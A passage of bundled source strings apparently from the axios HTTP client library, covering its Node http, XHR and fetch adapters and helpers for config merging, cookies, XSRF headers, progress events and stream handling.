   const username = config.auth.username || '';\n      const password = config.auth.password || '';\n      auth = username + ':' + password;\n    }\n\n    if (!auth && parsed.username) {\n      const urlUsername = parsed.username;\n      const urlPassword = parsed.password;\n      auth = urlUsername + ':' + urlPassword;\n    }\n\n    auth && headers.delete('authorization');\n\n    let path;\n\n    try {\n      path = buildURL(\n        parsed.pathname + parsed.search,\n        config.params,\n        config.paramsSerializer\n      ).replace(/^\\?/, '');\n    } catch (err) {\n      const customErr = new Error(err.message);\n      customErr.config = config;\n      customErr.url = config.url;\n      customErr.exists = true;\n      return reject(customErr);\n    }\n\n    headers.set(\n      'Accept-Encoding',\n      'gzip, compress, deflate' + (isBrotliSupported ? ', br' : ''), false\n      );\n\n    const options = {\n      path,\n      method: method,\n      headers: headers.toJSON(),\n      agents: { http: config.httpAgent, https: config.httpsAgent },\n      auth,\n      protocol,\n      family,\n      beforeRedirect: dispatchBeforeRedirect,\n      beforeRedirects: {}\n    };\n\n    // cacheable-lookup integration hotfix\n    !utils.isUndefined(lookup) && (options.lookup = lookup);\n\n    if (config.socketPath) {\n      options.socketPath = config.socketPath;\n    } else {\n      options.hostname = parsed.hostname;\n      options.port = parsed.port;\n      setProxy(options, config.proxy, protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path);\n    }\n\n    let transport;\n    const isHttpsRequest = isHttps.test(options.protocol);\n    options.agent = isHttpsRequest ? config.httpsAgent : config.httpAgent;\n    if (config.transport) {\n      transport = config.transport;\n    } else if (config.maxRedirects === 0) {\n      transport = isHttpsRequest ? https : http;\n    } else {\n      if (config.maxRedirects) {\n        options.maxRedirects = config.maxRedirects;\n      }\n      if (config.beforeRedirect) {\n        options.beforeRedirects.config = config.beforeRedirect;\n      }\n      transport = isHttpsRequest ? httpsFollow : httpFollow;\n    }\n\n    if (config.maxBodyLength > -1) {\n      options.maxBodyLength = config.maxBodyLength;\n    } else {\n      // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n      options.maxBodyLength = Infinity;\n    }\n\n    if (config.insecureHTTPParser) {\n      options.insecureHTTPParser = config.insecureHTTPParser;\n    }\n\n    // Create the request\n    req = transport.request(options, function handleResponse(res) {\n      if (req.destroyed) return;\n\n      const streams = [res];\n\n      const responseLength = +res.headers['content-length'];\n\n      if (onDownloadProgress) {\n        const transformStream = new AxiosTransformStream({\n          length: utils.toFiniteNumber(responseLength),\n          maxRate: utils.toFiniteNumber(maxDownloadRate)\n        });\n\n        onDownloadProgress && transformStream.on('progress', progress => {\n          onDownloadProgress(Object.assign(progress, {\n            download: true\n          }));\n        });\n\n        streams.push(transformStream);\n      }\n\n      // decompress the response body transparently if required\n      let responseStream = res;\n\n      // return the last request in case of redirects\n      const lastRequest = res.req || req;\n\n      // if decompress disabled we should not decompress\n      if (config.decompress !== false && res.headers['content-encoding']) {\n        // if no content, but headers still say that it is encoded,\n        // remove the header not confuse downstream operations\n        if (method === 'HEAD' || res.statusCode === 204) {\n          delete res.headers['content-encoding'];\n        }\n\n        switch ((res.headers['content-encoding'] || '').toLowerCase()) {\n        /*eslint default-case:0*/\n        case 'gzip':\n        case 'x-gzip':\n        case 'compress':\n        case 'x-compress':\n          // add the unzipper to the body stream processing pipeline\n          streams.push(zlib.createUnzip(zlibOptions));\n\n          // remove the content-encoding in order to not confuse downstream operations\n          delete res.headers['content-encoding'];\n          break;\n        case 'deflate':\n          streams.push(new ZlibHeaderTransformStream());\n\n          // add the unzipper to the body stream processing pipeline\n          streams.push(zlib.createUnzip(zlibOptions));\n\n          // remove the content-encoding in order to not confuse downstream operations\n          delete res.headers['content-encoding'];\n          break;\n        case 'br':\n          if (isBrotliSupported) {\n            streams.push(zlib.createBrotliDecompress(brotliOptions));\n            delete res.headers['content-encoding'];\n          }\n        }\n      }\n\n      responseStream = streams.length > 1 ? stream.pipeline(streams, utils.noop) : streams[0];\n\n      const offListeners = stream.finished(responseStream, () => {\n        offListeners();\n        onFinished();\n      });\n\n      const response = {\n        status: res.statusCode,\n        statusText: res.statusMessage,\n        headers: new AxiosHeaders(res.headers),\n        config,\n        request: lastRequest\n      };\n\n      if (responseType === 'stream') {\n        response.data = responseStream;\n        settle(resolve, reject, response);\n      } else {\n        const responseBuffer = [];\n        let totalResponseBytes = 0;\n\n        responseStream.on('data', function handleStreamData(chunk) {\n          responseBuffer.push(chunk);\n          totalResponseBytes += chunk.length;\n\n          // make sure the content length is not over the maxContentLength if specified\n          if (config.maxContentLength > -1 && totalResponseBytes > config.maxContentLength) {\n            // stream.destroy() emit aborted event before calling reject() on Node.js v16\n            rejected = true;\n            responseStream.destroy();\n            reject(new AxiosError('maxContentLength size of ' + config.maxContentLength + ' exceeded',\n              AxiosError.ERR_BAD_RESPONSE, config, lastRequest));\n          }\n        });\n\n        responseStream.on('aborted', function handlerStreamAborted() {\n          if (rejected) {\n            return;\n          }\n\n          const err = new AxiosError(\n            'maxContentLength size of ' + config.maxContentLength + ' exceeded',\n            AxiosError.ERR_BAD_RESPONSE,\n            config,\n            lastRequest\n          );\n          responseStream.destroy(err);\n          reject(err);\n        });\n\n        responseStream.on('error', function handleStreamError(err) {\n          if (req.destroyed) return;\n          reject(AxiosError.from(err, null, config, lastRequest));\n        });\n\n        responseStream.on('end', function handleStreamEnd() {\n          try {\n            let responseData = responseBuffer.length === 1 ? responseBuffer[0] : Buffer.concat(responseBuffer);\n            if (responseType !== 'arraybuffer') {\n              responseData = responseData.toString(responseEncoding);\n              if (!responseEncoding || responseEncoding === 'utf8') {\n                responseData = utils.stripBOM(responseData);\n              }\n            }\n            response.data = responseData;\n          } catch (err) {\n            return reject(AxiosError.from(err, null, config, response.request, response));\n          }\n          settle(resolve, reject, response);\n        });\n      }\n\n      emitter.once('abort', err => {\n        if (!responseStream.destroyed) {\n          responseStream.emit('error', err);\n          responseStream.destroy();\n        }\n      });\n    });\n\n    emitter.once('abort', err => {\n      reject(err);\n      req.destroy(err);\n    });\n\n    // Handle errors\n    req.on('error', function handleRequestError(err) {\n      // @todo remove\n      // if (req.aborted && err.code !== AxiosError.ERR_FR_TOO_MANY_REDIRECTS) return;\n      reject(AxiosError.from(err, null, config, req));\n    });\n\n    // set tcp keep alive to prevent drop connection by peer\n    req.on('socket', function handleRequestSocket(socket) {\n      // default interval of sending ack packet is 1 minute\n      socket.setKeepAlive(true, 1000 * 60);\n    });\n\n    // Handle request timeout\n    if (config.timeout) {\n      // This is forcing a int timeout to avoid problems if the `req` interface doesn't handle other types.\n      const timeout = parseInt(config.timeout, 10);\n\n      if (Number.isNaN(timeout)) {\n        reject(new AxiosError(\n          'error trying to parse `config.timeout` to int',\n          AxiosError.ERR_BAD_OPTION_VALUE,\n          config,\n          req\n        ));\n\n        return;\n      }\n\n      // Sometime, the response will be very slow, and does not respond, the connect event will be block by event loop system.\n      // And timer callback will be fired, and abort() will be invoked before connection, then get \"socket hang up\" and code ECONNRESET.\n      // At this time, if we have a large number of request, nodejs will hang up some socket on background. and the number will up and up.\n      // And then these socket which be hang up will devouring CPU little by little.\n      // ClientRequest.setTimeout will be fired on the specify milliseconds, and can make sure that abort() will be fired after connect.\n      req.setTimeout(timeout, function handleRequestTimeout() {\n        if (isDone) return;\n        let timeoutErrorMessage = config.timeout ? 'timeout of ' + config.timeout + 'ms exceeded' : 'timeout exceeded';\n        const transitional = config.transitional || transitionalDefaults;\n        if (config.timeoutErrorMessage) {\n          timeoutErrorMessage = config.timeoutErrorMessage;\n        }\n        reject(new AxiosError(\n          timeoutErrorMessage,\n          transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n          config,\n          req\n        ));\n        abort();\n      });\n    }\n\n\n    // Send the request\n    if (utils.isStream(data)) {\n      let ended = false;\n      let errored = false;\n\n      data.on('end', () => {\n        ended = true;\n      });\n\n      data.once('error', err => {\n        errored = true;\n        req.destroy(err);\n      });\n\n      data.on('close', () => {\n        if (!ended && !errored) {\n          abort(new CanceledError('Request stream has been aborted', config, req));\n        }\n      });\n\n      data.pipe(req);\n    } else {\n      req.end(data);\n    }\n  });\n}\n\nexport const __setProxy = setProxy;\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n  let bytesNotified = 0;\n  const _speedometer = speedometer(50, 250);\n\n  return throttle(e => {\n    const loaded = e.loaded;\n    const total = e.lengthComputable ? e.total : undefined;\n    const progressBytes = loaded - bytesNotified;\n    const rate = _speedometer(progressBytes);\n    const inRange = loaded <= total;\n\n    bytesNotified = loaded;\n\n    const data = {\n      loaded,\n      total,\n      progress: total ? (loaded / total) : undefined,\n      bytes: progressBytes,\n      rate: rate ? rate : undefined,\n      estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n      event: e,\n      lengthComputable: total != null\n    };\n\n    data[isDownloadStream ? 'download' : 'upload'] = true;\n\n    listener(data);\n  }, freq);\n}\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n  (function standardBrowserEnv() {\n    const msie = /(msie|trident)/i.test(navigator.userAgent);\n    const urlParsingNode = document.createElement('a');\n    let originURL;\n\n    /**\n    * Parse a URL to discover its components\n    *\n    * @param {String} url The URL to be parsed\n    * @returns {Object}\n    */\n    function resolveURL(url) {\n      let href = url;\n\n      if (msie) {\n        // IE needs attribute set twice to normalize properties\n        urlParsingNode.setAttribute('href', href);\n        href = urlParsingNode.href;\n      }\n\n      urlParsingNode.setAttribute('href', href);\n\n      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n      return {\n        href: urlParsingNode.href,\n        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n        host: urlParsingNode.host,\n        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n        hostname: urlParsingNode.hostname,\n        port: urlParsingNode.port,\n        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n          urlParsingNode.pathname :\n          '/' + urlParsingNode.pathname\n      };\n    }\n\n    originURL = resolveURL(window.location.href);\n\n    /**\n    * Determine if a URL shares the same origin as the current location\n    *\n    * @param {String} requestURL The URL to test\n    * @returns {boolean} True if URL shares the same origin, otherwise false\n    */\n    return function isURLSameOrigin(requestURL) {\n      const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n      return (parsed.protocol === originURL.protocol &&\n          parsed.host === originURL.host);\n    };\n  })() :\n\n  // Non standard browser envs (web workers, react-native) lack needed support.\n  (function nonStandardBrowserEnv() {\n    return function isURLSameOrigin() {\n      return true;\n    };\n  })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n  // Standard browser envs support document.cookie\n  {\n    write(name, value, expires, path, domain, secure) {\n      const cookie = [name + '=' + encodeURIComponent(value)];\n\n      utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n      utils.isString(path) && cookie.push('path=' + path);\n\n      utils.isString(domain) && cookie.push('domain=' + domain);\n\n      secure === true && cookie.push('secure');\n\n      document.cookie = cookie.join('; ');\n    },\n\n    read(name) {\n      const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n      return (match ? decodeURIComponent(match[3]) : null);\n    },\n\n    remove(name) {\n      this.write(name, '', Date.now() - 86400000);\n    }\n  }\n\n  :\n\n  // Non-standard browser env (web workers, react-native) lack needed support.\n  {\n    write() {},\n    read() {\n      return null;\n    },\n    remove() {}\n  };\n\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n  // eslint-disable-next-line no-param-reassign\n  config2 = config2 || {};\n  const config = {};\n\n  function getMergedValue(target, source, caseless) {\n    if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n      return utils.merge.call({caseless}, target, source);\n    } else if (utils.isPlainObject(source)) {\n      return utils.merge({}, source);\n    } else if (utils.isArray(source)) {\n      return source.slice();\n    }\n    return source;\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDeepProperties(a, b, caseless) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(a, b, caseless);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a, caseless);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function valueFromConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function defaultToConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDirectKeys(a, b, prop) {\n    if (prop in config2) {\n      return getMergedValue(a, b);\n    } else if (prop in config1) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  const mergeMap = {\n    url: valueFromConfig2,\n    method: valueFromConfig2,\n    data: valueFromConfig2,\n    baseURL: defaultToConfig2,\n    transformRequest: defaultToConfig2,\n    transformResponse: defaultToConfig2,\n    paramsSerializer: defaultToConfig2,\n    timeout: defaultToConfig2,\n    timeoutMessage: defaultToConfig2,\n    withCredentials: defaultToConfig2,\n    withXSRFToken: defaultToConfig2,\n    adapter: defaultToConfig2,\n    responseType: defaultToConfig2,\n    xsrfCookieName: defaultToConfig2,\n    xsrfHeaderName: defaultToConfig2,\n    onUploadProgress: defaultToConfig2,\n    onDownloadProgress: defaultToConfig2,\n    decompress: defaultToConfig2,\n    maxContentLength: defaultToConfig2,\n    maxBodyLength: defaultToConfig2,\n    beforeRedirect: defaultToConfig2,\n    transport: defaultToConfig2,\n    httpAgent: defaultToConfig2,\n    httpsAgent: defaultToConfig2,\n    cancelToken: defaultToConfig2,\n    socketPath: defaultToConfig2,\n    responseEncoding: defaultToConfig2,\n    validateStatus: mergeDirectKeys,\n    headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n  };\n\n  utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n    const merge = mergeMap[prop] || mergeDeepProperties;\n    const configValue = merge(config1[prop], config2[prop], prop);\n    (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n  });\n\n  return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n  const newConfig = mergeConfig({}, config);\n\n  let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n  newConfig.headers = headers = AxiosHeaders.from(headers);\n\n  newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n  // HTTP basic authentication\n  if (auth) {\n    headers.set('Authorization', 'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n    );\n  }\n\n  let contentType;\n\n  if (utils.isFormData(data)) {\n    if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n      headers.setContentType(undefined); // Let the browser set it\n    } else if ((contentType = headers.getContentType()) !== false) {\n      // fix semicolon duplication issue for ReactNative FormData implementation\n      const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n      headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n    }\n  }\n\n  // Add xsrf header\n  // This is only done if running in a standard browser environment.\n  // Specifically not if we're in a web worker, or react-native.\n\n  if (platform.hasStandardBrowserEnv) {\n    withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n    if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n      // Add xsrf header\n      const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n      if (xsrfValue) {\n        headers.set(xsrfHeaderName, xsrfValue);\n      }\n    }\n  }\n\n  return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n  return new Promise(function dispatchXhrRequest(resolve, reject) {\n    const _config = resolveConfig(config);\n    let requestData = _config.data;\n    const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n    let {responseType} = _config;\n    let onCanceled;\n    function done() {\n      if (_config.cancelToken) {\n        _config.cancelToken.unsubscribe(onCanceled);\n      }\n\n      if (_config.signal) {\n        _config.signal.removeEventListener('abort', onCanceled);\n      }\n    }\n\n    let request = new XMLHttpRequest();\n\n    request.open(_config.method.toUpperCase(), _config.url, true);\n\n    // Set the request timeout in MS\n    request.timeout = _config.timeout;\n\n    function onloadend() {\n      if (!request) {\n        return;\n      }\n      // Prepare the response\n      const responseHeaders = AxiosHeaders.from(\n        'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n      );\n      const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n        request.responseText : request.response;\n      const response = {\n        data: responseData,\n        status: request.status,\n        statusText: request.statusText,\n        headers: responseHeaders,\n        config,\n        request\n      };\n\n      settle(function _resolve(value) {\n        resolve(value);\n        done();\n      }, function _reject(err) {\n        reject(err);\n        done();\n      }, response);\n\n      // Clean up request\n      request = null;\n    }\n\n    if ('onloadend' in request) {\n      // Use onloadend if available\n      request.onloadend = onloadend;\n    } else {\n      // Listen for ready state to emulate onloadend\n      request.onreadystatechange = function handleLoad() {\n        if (!request || request.readyState !== 4) {\n          return;\n        }\n\n        // The request errored out and we didn't get a response, this will be\n        // handled by onerror instead\n        // With one exception: request that using file: protocol, most browsers\n        // will return status as 0 even though it's a successful request\n        if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n          return;\n        }\n        // readystate handler is calling before onerror or ontimeout handlers,\n        // so we should call onloadend on the next 'tick'\n        setTimeout(onloadend);\n      };\n    }\n\n    // Handle browser request cancellation (as opposed to a manual cancellation)\n    request.onabort = function handleAbort() {\n      if (!request) {\n        return;\n      }\n\n      reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle low level network errors\n    request.onerror = function handleError() {\n      // Real errors are hidden from us by the browser\n      // onerror should only fire if it's a network error\n      reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle timeout\n    request.ontimeout = function handleTimeout() {\n      let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n      const transitional = _config.transitional || transitionalDefaults;\n      if (_config.timeoutErrorMessage) {\n        timeoutErrorMessage = _config.timeoutErrorMessage;\n      }\n      reject(new AxiosError(\n        timeoutErrorMessage,\n        transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n        _config,\n        request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Remove Content-Type if data is undefined\n    requestData === undefined && requestHeaders.setContentType(null);\n\n    // Add headers to the request\n    if ('setRequestHeader' in request) {\n      utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n        request.setRequestHeader(key, val);\n      });\n    }\n\n    // Add withCredentials to request if needed\n    if (!utils.isUndefined(_config.withCredentials)) {\n      request.withCredentials = !!_config.withCredentials;\n    }\n\n    // Add responseType to request if needed\n    if (responseType && responseType !== 'json') {\n      request.responseType = _config.responseType;\n    }\n\n    // Handle progress if needed\n    if (typeof _config.onDownloadProgress === 'function') {\n      request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n    }\n\n    // Not all browsers support upload events\n    if (typeof _config.onUploadProgress === 'function' && request.upload) {\n      request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n    }\n\n    if (_config.cancelToken || _config.signal) {\n      // Handle cancellation\n      // eslint-disable-next-line func-names\n      onCanceled = cancel => {\n        if (!request) {\n          return;\n        }\n        reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n        request.abort();\n        request = null;\n      };\n\n      _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n      if (_config.signal) {\n        _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n      }\n    }\n\n    const protocol = parseProtocol(_config.url);\n\n    if (protocol && platform.protocols.indexOf(protocol) === -1) {\n      reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n      return;\n    }\n\n\n    // Send the request\n    request.send(requestData || null);\n  });\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n  let controller = new AbortController();\n\n  let aborted;\n\n  const onabort = function (cancel) {\n    if (!aborted) {\n      aborted = true;\n      unsubscribe();\n      const err = cancel instanceof Error ? cancel : this.reason;\n      controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n    }\n  }\n\n  let timer = timeout && setTimeout(() => {\n    onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n  }, timeout)\n\n  const unsubscribe = () => {\n    if (signals) {\n      timer && clearTimeout(timer);\n      timer = null;\n      signals.forEach(signal => {\n        signal &&\n        (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n      });\n      signals = null;\n    }\n  }\n\n  signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n  const {signal} = controller;\n\n  signal.unsubscribe = unsubscribe;\n\n  return [signal, () => {\n    timer && clearTimeout(timer);\n    timer = null;\n  }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n  let len = chunk.byteLength;\n\n  if (!chunkSize || len < chunkSize) {\n    yield chunk;\n    return;\n  }\n\n  let pos = 0;\n  let end;\n\n  while (pos < len) {\n    end = pos + chunkSize;\n    yield chunk.slice(pos, end);\n    pos = end;\n  }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n  for await (const chunk of iterable) {\n    yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n  }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n  const iterator = readBytes(stream, chunkSize, encode);\n\n  let bytes = 0;\n\n  return new ReadableStream({\n    type: 'bytes',\n\n    async pull(controller) {\n      const {done, value} = await iterator.next();\n\n      if (done) {\n        controller.close();\n        onFinish();\n        return;\n      }\n\n      let len = value.byteLength;\n      onProgress && onProgress(bytes += len);\n      controller.enqueue(new Uint8Array(value));\n    },\n    cancel(reason) {\n      onFinish(reason);\n      return iterator.return();\n    }\n  }, {\n    highWaterMark: 2\n  })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n  const lengthComputable = total != null;\n  return (loaded) => setTimeout(() => fn({\n    lengthComputable,\n    total,\n    loaded\n  }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n    ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n    async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n  let duplexAccessed = false;\n\n  const hasContentType = new Request(platform.origin, {\n    body: new ReadableStream(),\n    method: 'POST',\n    get duplex() {\n      duplexAccessed = true;\n      return 'half';\n    },\n  }).headers.has('Content-Type');\n\n  return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n  try {\n    return utils.isReadableStream(new Response('').body);\n  } catch(err) {\n    // return undefined\n  }\n})();\n\nconst resolvers = {\n  stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n  ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n    !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n      (_, config) => {\n        throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n      })\n  });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n  if (body == null) {\n    return 0;\n  }\n\n  if(utils.isBlob(body)) {\n    return body.size;\n  }\n\n  if(utils.isSpecCompliantForm(body)) {\n    return (await new Request(body).arrayBuffer()).byteLength;\n  }\n\n  if(utils.isArrayBufferView(body)) {\n    return body.byteLength;\n  }\n\n  if(utils.isURLSearchParams(body)) {\n    body = body + '';\n  }\n\n  if(utils.isString(body)) {\n    return (await encodeText(body)).byteLength;\n  }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n  const length = utils.toFiniteNumber(headers.getContentLength());\n\n  return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n  let {\n    url,\n    method,\n    data,\n    signal,\n    cancelToken,\n    timeout,\n    onDownloadProgress,\n    onUploadProgress,\n    responseType,\n    headers,\n    withCredentials = 'same-origin',\n    fetchOptions\n  } = resolveConfig(config);\n\n  responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n  let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n    composeSignals([signal, cancelToken], timeout) : [];\n\n  let finished, request;\n\n  const onFinish = () => {\n    !finished && setTimeout(() => {\n      composedSignal && composedSignal.unsubscribe();\n    });\n\n    finished = true;\n  }\n\n  let requestContentLength;\n\n  try {\n    if (\n      onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n      (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n    ) {\n      let _request = new Request(url, {\n        method: 'POST',\n        body: data,\n        duplex: \"half\"\n      });\n\n      let contentTypeHeader;\n\n      if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n        headers.setContentType(contentTypeHeader)\n      }\n\n      if (_request.body) {\n        data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n          requestContentLength,\n          progressEventReducer(onUploadProgress)\n        ), null, encodeText);\n      }\n    }\n\n    if (!utils.isString(withCredentials)) {\n      withCredentials = withCredentials ? 'cors' : 'omit';\n    }\n\n    request = new Request(url, {\n      ...fetchOptions,\n      signal: composedSignal,\n      method: method.toUpperCase(),\n      headers: headers.normalize().toJSON(),\n      body: data,\n      duplex: \"half\",\n      withCredentials\n    });\n\n    let response = await fetch(request);\n\n    const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n    if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n      const options = {};\n\n      ['status', 'statusText', 'headers'].forEach(prop => {\n        options[prop] = response[prop];\n      });\n\n      const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n      response = new Response(\n        trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n          responseContentLength,\n          progressEventReducer(onDownloadProgress, true)\n        ), isStreamResponse && onFinish, encodeText),\n        options\n      );\n    }\n\n    responseType = responseType || 'text';\n\n    let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n    !isStreamResponse && onFinish();\n\n    stopTimeout && stopTimeout();\n\n    return await new Promise((resolve, reject) => {\n      settle(resolve, reject, {\n        data: responseData,\n        headers: AxiosHeaders.from(response.headers),\n        status: response.status,\n        statusText: response.statusText,\n        config,\n        request\n      })\n    })\n  } catch (err) {\n    onFinish();\n\n    if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n      throw Object.assign(\n        new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n        {\n          cause: err.cause || err\n        }\n      )\n    }\n\n    throw AxiosError.from(err, err && err.code, config, request);\n  }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from 